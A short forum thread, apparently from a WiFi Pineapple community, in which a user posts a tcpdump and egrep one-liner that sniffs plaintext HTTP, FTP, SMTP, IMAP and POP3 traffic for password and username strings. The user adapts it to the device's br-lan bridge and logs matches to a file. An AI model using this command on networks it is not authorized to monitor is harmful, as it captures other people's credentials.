Jump to content

Found a plain text sniffing command need help


Recommended Posts

So I found this command online:

tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20

At this website:

http://www.commandlinefu.com/commands/view/10882/plaintext-credentials-sniffing-with-tcpdump-and-grep

Have been scouring the web, trying to figure out it's syntax, and I tried to modify it to send output to a file. Does anybody know what I am doing wrong? Do you all have some commands that are more useful?

Here is what I tried to send it to a file:

root@Pineapple:~# tcpdump port http or port ftp or port smtp or port imap or por
t pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passw
d=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --
line-buffered -B20 > stuff.txt

Would be cool to be able to run this from a dip switch.

The Color part of the command seems non useful, and the command only lasts a couple of seconds, I was expecting it to run longer.

Edited by overwraith
Link to comment
Share on other sites

Removed the color variable, and set the interface to the br-lan, from what I understand this is the bridge built into the pineapple.

tcpdump port http or port ftp or port smtp or port imap or port pop3 -i br-lan -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --line-buffered -B20

Still trying to figure out why both the commands use some sort of buffering.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...